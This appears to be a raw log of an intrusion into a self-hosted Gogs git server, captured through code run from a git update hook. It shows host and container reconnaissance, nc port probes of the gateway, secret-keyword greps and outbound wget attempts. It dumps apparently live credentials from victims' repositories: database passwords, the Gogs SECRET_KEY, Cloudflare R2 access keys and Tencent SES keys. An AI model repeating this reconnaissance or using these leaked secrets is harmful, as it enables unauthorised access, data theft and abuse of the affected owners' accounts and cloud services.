| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569 |
- === round2138 Fri Oct 9 13:58:05 UTC 2026 ===
- uid=1000(git) gid=1000(git) groups=1000(git)
- Linux 5a5a16f1f99f 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64 Linux
- --- tools ---
- /usr/bin/nc
- /usr/bin/curl
- /usr/bin/wget
- /usr/bin/ssh
- /bin/bash
- /usr/libexec/git-core/git
- /bin/busybox
- --- caps ---
- CapInh: 0000000000000000
- CapPrm: 0000000000000000
- CapEff: 0000000000000000
- CapBnd: 00000000a80425fb
- CapAmb: 0000000000000000
- Seccomp: 2
- Seccomp_filters: 1
- --- mounts ---
- overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/382/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/145/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/138/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/137/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/136/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/134/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/133/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/383/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/383/work 0 0
- proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
- tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
- devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
- sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
- cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
- mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
- shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
- /dev/sda4 /data ext4 rw,relatime 0 0
- /dev/sda4 /backup ext4 rw,relatime 0 0
- /dev/sda4 /etc/resolv.conf ext4 rw,relatime 0 0
- /dev/sda4 /etc/hostname ext4 rw,relatime 0 0
- /dev/sda4 /etc/hosts ext4 rw,relatime 0 0
- proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
- proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
- proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
- proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
- proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
- tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
- tmpfs /proc/interrupts tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
- tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
- tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
- tmpfs /proc/scsi tmpfs ro,relatime,inode64 0 0
- tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
- tmpfs /sys/devices/virtual/powercap tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu0/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu1/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu2/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu3/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu4/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu5/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu6/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu7/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu8/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu9/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu10/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu11/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu12/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu13/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu14/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu15/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu16/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu17/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu18/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu19/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu20/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu21/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu22/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu23/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu24/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu25/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu26/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu27/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu28/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu29/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu30/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu31/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu32/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu33/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu34/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu35/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu36/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu37/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu38/thermal_throttle tmpfs ro,relatime,inode64 0 0
- tmpfs /sys/devices/system/cpu/cpu39/thermal_throttle tmpfs ro,relatime,inode64 0 0
- --- / ---
- total 84
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 .
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 ..
- -rwxr-xr-x 1 root root 0 Aug 20 07:52 .dockerenv
- drwxr-xr-x 1 root root 4096 Feb 1 2026 app
- drwxr-xr-x 2 root root 4096 Aug 20 07:52 backup
- drwxr-xr-x 1 root root 4096 Feb 1 2026 bin
- drwxr-xr-x 5 git git 4096 Apr 20 08:14 data
- drwxr-xr-x 5 root root 360 Aug 20 07:52 dev
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 etc
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 home
- drwxr-xr-x 1 root root 4096 Jan 27 2026 lib
- drwxr-xr-x 5 root root 4096 Jan 27 2026 media
- drwxr-xr-x 2 root root 4096 Jan 27 2026 mnt
- drwxr-xr-x 2 root root 4096 Jan 27 2026 opt
- dr-xr-xr-x 597 root root 0 Aug 20 07:52 proc
- drwx------ 2 root root 4096 Jan 27 2026 root
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 run
- drwxr-xr-x 1 root root 4096 Feb 1 2026 sbin
- drwxr-xr-x 2 root root 4096 Jan 27 2026 srv
- dr-xr-xr-x 13 root root 0 Aug 20 07:52 sys
- drwxrwxrwt 1 root root 4096 Oct 9 13:39 tmp
- drwxr-xr-x 1 root root 4096 Feb 1 2026 usr
- drwxr-xr-x 11 root root 4096 Jan 27 2026 var
- --- /data ---
- total 20
- drwxr-xr-x 5 git git 4096 Apr 20 08:14 .
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 ..
- drwxr-xr-x 5 git git 4096 Aug 20 07:52 git
- drwxr-xr-x 5 git git 4096 Apr 20 08:14 gogs
- drwx------ 2 git git 4096 Apr 20 08:14 ssh
- --- /home ---
- total 8
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 .
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 ..
- lrwxrwxrwx 1 root root 9 Aug 20 07:52 git -> /data/git
- total 24
- drwxr-xr-x 5 git git 4096 Aug 20 07:52 .
- drwxr-xr-x 5 git git 4096 Apr 20 08:14 ..
- -rw-r--r-- 1 git git 71 Aug 20 07:52 .gitconfig
- drwx------ 2 git git 4096 Apr 20 08:28 .ssh
- drwxr-xr-x 3 git git 4096 Jul 1 06:28 gogs
- drwxr-xr-x 18 git git 4096 Oct 9 13:13 gogs-repositories
- --- gogs conf ---
- BRAND_NAME = Gogs
- RUN_USER = git
- RUN_MODE = prod
- [database]
- TYPE = mysql
- HOST = gogs-db:3306
- NAME = gogs
- SCHEMA = public
- USER = gogs
- PASSWORD = ywf123456
- SSL_MODE = disable
- PATH = /app/gogs/data/gogs.db
- [repository]
- ROOT = /data/git/gogs-repositories
- DEFAULT_BRANCH = master
- [server]
- DOMAIN = git.yhlxj.vip
- HTTP_PORT = 3000
- EXTERNAL_URL = https://git.yhlxj.vip/
- DISABLE_SSH = false
- SSH_PORT = 22
- START_SSH_SERVER = false
- OFFLINE_MODE = false
- [email]
- ENABLED = false
- [auth]
- REQUIRE_EMAIL_CONFIRMATION = false
- DISABLE_REGISTRATION = false
- ENABLE_REGISTRATION_CAPTCHA = true
- REQUIRE_SIGNIN_VIEW = false
- [user]
- ENABLE_EMAIL_NOTIFICATION = false
- [picture]
- DISABLE_GRAVATAR = false
- ENABLE_FEDERATED_AVATAR = false
- [session]
- PROVIDER = file
- [log]
- MODE = file
- LEVEL = Info
- ROOT_PATH = /app/gogs/log
- [security]
- INSTALL_LOCK = true
- SECRET_KEY = M3F1j9GyxIhKbN4
- --- gogs data ---
- total 20
- drwxr-xr-x 5 git git 4096 Aug 23 21:44 .
- drwxr-xr-x 5 git git 4096 Apr 20 08:14 ..
- drwxr-xr-x 2 git git 4096 Oct 9 13:39 avatars
- drwx------ 18 git git 4096 Apr 21 03:31 sessions
- drwxr-xr-x 3 git git 4096 Aug 23 21:44 tmp
- --- tmp users ---
- total 12
- drwxr-xr-x 3 git git 4096 Aug 23 21:44 .
- drwxr-xr-x 5 git git 4096 Aug 23 21:44 ..
- drwxr-xr-x 25 git git 4096 Oct 9 13:39 local-r
- --- sock hunt ---
- lrwxrwxrwx 1 root root 6 Jan 27 2026 /var/run -> ../run
- /run:
- total 20
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 .
- drwxr-xr-x 1 root root 4096 Aug 20 07:52 ..
- drwxr-xr-x 2 root root 4096 Jan 27 2026 lock
- -rw-r--r-- 1 root root 3 Aug 20 07:52 sshd.pid
- -rw-r--r-- 1 root root 3 Aug 20 07:52 syslogd.pid
- --- proc ---
- 1
- 23
- 24
- 25
- 26
- 28
- 29
- 3586480
- 3586507
- 3586508
- 3586509
- 3586804
- 3586805
- 3586830
- 3586847
- 3586848
- 3586849
- 92
- 1: /usr/bin/s6-svscan /app/gogs/docker/s6/
- 23: s6-supervise gogs
- 24: s6-supervise syslogd
- 25: s6-supervise openssh
- 26: s6-supervise crond
- 28: /sbin/syslogd -nS -O-
- 29: sshd: /usr/sbin/sshd -D -f /app/gogs/docker/sshd_config [listener] 0 of 10-100 startups
- 3586480: /bin/sh hooks/update refs/heads/master d2909538ce6eb74e5f1bab0d6a9223807d1546ac c935ab0ccaf7cebe8521e5156a0b7b09c55f2513
- 3586507: git --git-dir=/data/git/gogs-repositories/zoujiajian/dump.git cat-file --batch
- 3586508: grep -a -i -o -E .{0,80}(session_secret|crypto_secret|sessionsecret|cryptosecret).{0,160}
- 3586509: head -40
- 3586804: git push --end-of-options origin master
- 3586805: git-receive-pack /data/gogs/data/tmp/local-r/118/nslxlxsqfe/rce-lxlxsqfe.git
- 3586830: /bin/sh hooks/update refs/heads/master d2909538ce6eb74e5f1bab0d6a9223807d1546ac 4e8ef539d43bb00b933f00301be8db72eb6f3114
- hooks/update: line 18: can't open /proc/3586850/cmdline: no such file
- hooks/update: line 18: can't open /proc/3586851/cmdline: no such file
- hooks/update: line 18: can't open /proc/3586852/cmdline: no such file
- hooks/update: line 18: can't open /proc/3586853/cmdline: no such file
- 92: /app/gogs/gogs web
- --- /proc/1/environ ---
- hooks/update: line 19: can't open /proc/1/environ: Permission denied
- --- self env ---
- --- /etc/hosts ---
- 127.0.0.1 localhost
- ::1 localhost ip6-localhost ip6-loopback
- fe00:: ip6-localnet
- ff00:: ip6-mcastprefix
- ff02::1 ip6-allnodes
- ff02::2 ip6-allrouters
- 172.20.0.3 5a5a16f1f99f
- --- resolve names ---
- 172.20.0.2 gogs-db gogs-db
- 127.0.53.53 web web
- --- gw probe ---
- GW=172.20.0.1
- 172.20.0.1:80 OPEN(nc)
- 172.20.0.1:443 OPEN(nc)
- 172.20.0.1:6600 OPEN(nc)
- 172.20.0.1:8300 OPEN(nc)
- 172.20.0.1:10022 OPEN(nc)
- 172.20.0.1:16379 OPEN(nc)
- 172.20.0.1:20001 OPEN(nc)
- 172.20.0.1:25919 OPEN(nc)
- gogs-db:3306 OPEN(nc)
- --- find env/compose ---
- --- deep scan status ---
- total 64
- drwxr-xr-x 7 git git 4096 Oct 9 13:58 .
- drwxr-xr-x 3 git git 4096 Oct 9 13:39 ..
- -rw-r--r-- 1 git git 23 Oct 9 13:39 HEAD
- drwxr-xr-x 2 git git 4096 Oct 9 13:39 branches
- -rw-r--r-- 1 git git 66 Oct 9 13:39 config
- -rw-r--r-- 1 git git 73 Oct 9 13:39 description
- drwxr-xr-x 2 git git 4096 Oct 9 13:58 hooks
- drwxr-xr-x 2 git git 4096 Oct 9 13:57 info
- drwxr-xr-x 15 git git 4096 Oct 9 13:58 objects
- [tail pwned2031]
- 1]
- wget: download timed out
- [10.0.0.1]
- wget: download timed out
- --- host env hunt: /proc/1/environ ---
- hooks/update: line 14: can't open /proc/1/environ: Permission denied
- === deep scan start Fri Oct 9 13:39:44 UTC 2026 ===
- ##### SCAN zoujiajian/dump.git Fri Oct 9 13:39:44 UTC 2026
- 424 /data/git/gogs-repositories/zoujiajian/dump.git
- -- refs --
- 6d767f3cf471c513d63206317628835f8c857e3d commit refs/heads/master
- -- log --
- 6d767f3 repo dump 20260724
- -- HEAD files --
- part_aa
- part_ab
- part_ac
- part_ad
- part_ae
- part_af
- part_ag
- part_ah
- part_ai
- part_aj
- -- config-like files --
- -- keyword stream grep --
- === candidate files across repos ===
- ##### /data/git/gogs-repositories/zoujiajian/claudecode.git
- DEPLOYMENT_GUIDE.md
- docker-compose.yml
- ##### /data/git/gogs-repositories/zoujiajian/nebula.git
- .env.example
- docker-compose.yml
- ##### /data/git/gogs-repositories/zoujiajian/nebula_job.git
- docker-compose.yml
- ##### /data/git/gogs-repositories/zoujiajian/netflix-code.git
- .env.example
- docker-compose.yml
- ##### /data/git/gogs-repositories/zoujiajian/netflix-job.git
- src/main/resources/application-dev.yml
- src/main/resources/application-prd.yml
- src/main/resources/application.yml
- ##### /data/git/gogs-repositories/zoujiajian/qychat.git
- src/main/resources/application-dev.yml
- src/main/resources/application-prod.yml
- src/main/resources/application.yml
- ##### /data/git/gogs-repositories/zoujiajian/tokens-website.git
- docker-compose.yml
- ##### /data/git/gogs-repositories/zoujiajian/yh-auditlimit.git
- docker-compose.yml
- ##### /data/git/gogs-repositories/zoujiajian/yhlxj-global.git
- global-admin/src/main/resources/application.yml
- global-web/src/main/resources/application-dev.yml
- global-web/src/main/resources/application-prd.yml
- global-web/src/main/resources/application-pre.yml
- global-web/src/main/resources/application.yml
- ##### /data/git/gogs-repositories/zoujiajian/yhlxj.git
- netflix-web/src/main/resources/application-dev.yml
- netflix-web/src/main/resources/application-prd.yml
- netflix-web/src/main/resources/application-pre.yml
- netflix-web/src/main/resources/application.yml
- ##### /data/git/gogs-repositories/yhlxj/chatgptgo.git
- .env
- ##### /data/git/gogs-repositories/yhlxj/sub2api.git
- SERVER_DEPLOYMENT_2026-09-15.md
- deploy/docker-compose.dev.yml
- deploy/docker-compose.local.yml
- deploy/docker-compose.standalone.yml
- deploy/docker-compose.yml
- deploy/tests/docker-compose-gateway-env-test.sh
- deploy/tests/docker-compose-security-test.sh
- ##### /data/git/gogs-repositories/youzi/admin-mastermind.git
- .env.board
- .env.boardTest
- .env.development
- .env.production
- ##### /data/git/gogs-repositories/youzi/admin-mirror.git
- .env.preview
- .env.production
- ##### /data/git/gogs-repositories/youzi/admin-yinhe-cps.git
- .env.development
- .env.preview
- .env.production
- ##### /data/git/gogs-repositories/youzi/admin-yinhe-shop.git
- .env.development
- .env.preview
- .env.production
- ##### /data/git/gogs-repositories/youzi/admin-yinhe-vite.git
- .env.development
- .env.preview
- .env.production
- ##### /data/git/gogs-repositories/youzi/foxvip-admin.git
- .env.development
- .env.preview
- .env.production
- deploy/.env.test
- deploy/deploy.sh
- ##### /data/git/gogs-repositories/youzi/foxvip-fe.git
- .env
- .env.development
- .env.production
- deploy/.env.production
- deploy/.env.test
- deploy/deploy.sh
- ##### /data/git/gogs-repositories/youzi/luma.git
- .env.development
- .env.preview
- .env.production
- ##### /data/git/gogs-repositories/youzi/nebula.git
- .env.development
- .env.production
- ##### /data/git/gogs-repositories/youzi/vite-claudecode.git
- .env.development
- .env.production
- ##### /data/git/gogs-repositories/youzi/vite-image.git
- .env.development
- .env.production
- ##### /data/git/gogs-repositories/youzi/vite-mastermind.git
- .env.development
- .env.production
- ##### /data/git/gogs-repositories/youzi/web-agent.git
- .env.development
- .env.production
- ##### /data/git/gogs-repositories/youzi/web-mirror.git
- .env.development
- .env.preview
- .env.production
- ##### /data/git/gogs-repositories/youzi/web-yinhe.git
- .env.development
- .env.direct
- .env.directdevelop
- .env.preview
- .env.production
- === dump selected config contents ===
- ####FILE zoujiajian/nebula.git :: .env.example
- # 端口号
- # PORT=3000
- # 前端基础URL
- # FRONTEND_BASE_URL=https://your-frontend-url.com
- # 调试相关配置
- # 启用pprof
- # ENABLE_PPROF=true
- # 启用调试模式
- # DEBUG=true
- # Pyroscope 配置
- # PYROSCOPE_URL=http://localhost:4040
- # PYROSCOPE_APP_NAME=new-api
- # PYROSCOPE_BASIC_AUTH_USER=your-user
- # PYROSCOPE_BASIC_AUTH_PASSWORD=your-password
- # PYROSCOPE_MUTEX_RATE=5
- # PYROSCOPE_BLOCK_RATE=5
- # HOSTNAME=your-hostname
- # 数据库相关配置
- # 启用错误日志记录
- # ERROR_LOG_ENABLED=true
- # 数据库连接字符串
- # SQL_DSN=user:password@tcp(127.0.0.1:3306)/dbname?parseTime=true
- # 日志数据库连接字符串
- # LOG_SQL_DSN=user:password@tcp(127.0.0.1:3306)/logdb?parseTime=true
- # Optional: shift the logical write month for monthly log-table testing (default: 0)
- # LOG_WRITE_TIME_OFFSET_MONTHS=1
- # SQLite数据库路径
- # SQLITE_PATH=/path/to/sqlite.db
- # 数据库最大空闲连接数
- # SQL_MAX_IDLE_CONNS=100
- # 数据库最大打开连接数
- # SQL_MAX_OPEN_CONNS=500
- # 数据库连接最大生命周期(秒)
- # SQL_MAX_LIFETIME=600
- # 缓存相关配置
- # Redis连接字符串
- # REDIS_CONN_STRING=redis://user:password@localhost:6379/0
- # 可信反向代理 IP/CIDR,多个使用逗号分隔;不配置时不信任 X-Forwarded-For/X-Real-IP。
- # TRUSTED_PROXIES=127.0.0.1,172.16.0.0/12
- # 多实例或重启后需要保持一致,用于验证码、手机号和 IP 限额的 HMAC。
- # CRYPTO_SECRET=replace-with-a-long-random-secret
- # 同步频率(单位:秒)
- # SYNC_FREQUENCY=60
- # 内存缓存启用
- # MEMORY_CACHE_ENABLED=true
- # 渠道更新频率(单位:秒)
- # CHANNEL_UPDATE_FREQUENCY=30
- # 批量更新启用
- # BATCH_UPDATE_ENABLED=true
- # 批量更新间隔(单位:秒)
- # BATCH_UPDATE_INTERVAL=5
- # 任务和功能配置
- # 更新任务启用
- # UPDATE_TASK=true
- ####FILE zoujiajian/nebula.git :: docker-compose.yml
- # New-API Docker Compose Configuration
- #
- # Quick Start:
- # 1. docker login
- # 2. docker compose pull
- # 3. docker compose up -d
- # 4. Access at http://localhost:6000
- #
- # ⚠️ IMPORTANT: Change all default passwords before deploying to production!
- services:
- new-api:
- image: javazou/nebula_newapi:latest
- pull_policy: always
- container_name: nebula_newapi
- restart: always
- command: --log-dir /app/logs
- ports:
- - "6000:3000"
- #最多能打开多少文件描述符
- ulimits:
- nofile:
- soft: 65535
- hard: 65535
- volumes:
- - ./data:/data
- - ./logs:/app/logs
- environment:
- # - SQL_DSN=postgresql://root:123456@postgres:5432/new-api # ⚠️ IMPORTANT: Change the password in production!
- - SQL_DSN=root:ywf123456@!@tcp(mysql:3306)/new-api # Point to the mysql service, uncomment if using MySQL
- - DB_AUTO_MIGRATE=false # 日志导出表由部署前手动执行 SQL 创建/更新
- - REDIS_CONN_STRING=redis://redis
- - TZ=Asia/Shanghai
- - R2_ENDPOINT=https://f74ae1f88b86e57f8db0a30950fffe31.r2.cloudflarestorage.com
- - R2_BUCKET=ai-chat
- - R2_PRIVATE_BUCKET=apinebula-log-export
- - R2_ACCESS_KEY_ID=1d93e15d2dbf2a9e975264c3d380f889
- #secret
- - R2_SECRET_ACCESS_KEY=96377bb21aca2bb68c0bbd326026dd03fac778341ff7c973d5e653e340e837ef
- - R2_PUBLIC_BASE_URL=https://pubimage.apinebula.com
- - R2_REGION=auto
- - R2_PREFIX=chatgpt
- - LOG_EXPORT_WORKER_ENABLED=true
- - LOG_EXPORT_SQL_DSN=root:ywf123456@!@tcp(43.173.72.34:63306)/new-api?charset=utf8mb4&parseTime=true&loc=Local&timeout=10s&readTimeout=30s&writeTimeout=10s
- - LOG_EXPORT_TEMP_DIR=/data/log-export-temp
- - ERROR_LOG_ENABLED=true # 是否启用错误日志记录 (Whether to enable error log recording)
- - BATCH_UPDATE_ENABLED=true # 是否启用批量更新 (Whether to enable batch update)
- # - STREAMING_TIMEOUT=300 # 流模式无响应超时时间,单位秒,默认120秒,如果出现空补全可以尝试改为更大值 (Streaming timeout in seconds, default is 120s. Increase if experiencing empty completions)
- # - SESSION_SECRET=random_string # 多机部署时设置,必须修改这个随机字符串!! (multi-node deployment, set this to a random string!!!!!!!)
- # - SYNC_FREQUENCY=60 # Uncomment if regular database syncing is needed
- # - GOOGLE_ANALYTICS_ID=G-XXXXXXXXXX # Google Analytics 的测量 ID (Google Analytics Measurement ID)
- # - UMAMI_WEBSITE_ID=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx # Umami 网站 ID (Umami Website ID)
- # - UMAMI_SCRIPT_URL=https://analytics.umami.is/script.js # Umami 脚本 URL,默认为官方地址 (Umami Script URL, defaults to official URL)
- - TENCENT_SES_SECRET_ID=AKID6C5kFXcXFuNeibIn6ECxXvLYZN1ShiV5
- - TENCENT_SES_SECRET_KEY=QcZQ6btytc8SbaOyMbfWAapumRwGPK8r
- - TENCENT_SES_REGION=ap-hongkong
- - TENCENT_SES_SENDER=email@apinebula.com
- - TENCENT_SES_SENDER_NAME=APINebula
- === writer repos of others ===
- ##### test/writer-6f1fba3e.git
- 6d767f3cf471c513d63206317628835f8c857e3d commit refs/heads/master
- part_aa
- part_ab
- part_ac
- part_ad
- part_ae
- part_af
- part_ag
- part_ah
- part_ai
- part_aj
- -- interesting --
- ##### pentest_2ff7575f/writer-0376bfdc.git
- 6d767f3cf471c513d63206317628835f8c857e3d commit refs/heads/master
- part_aa
- part_ab
- part_ac
- part_ad
- part_ae
- part_af
- part_ag
- part_ah
- part_ai
- part_aj
- -- interesting --
- === end round2138 Fri Oct 9 13:58:06 UTC 2026 ===
|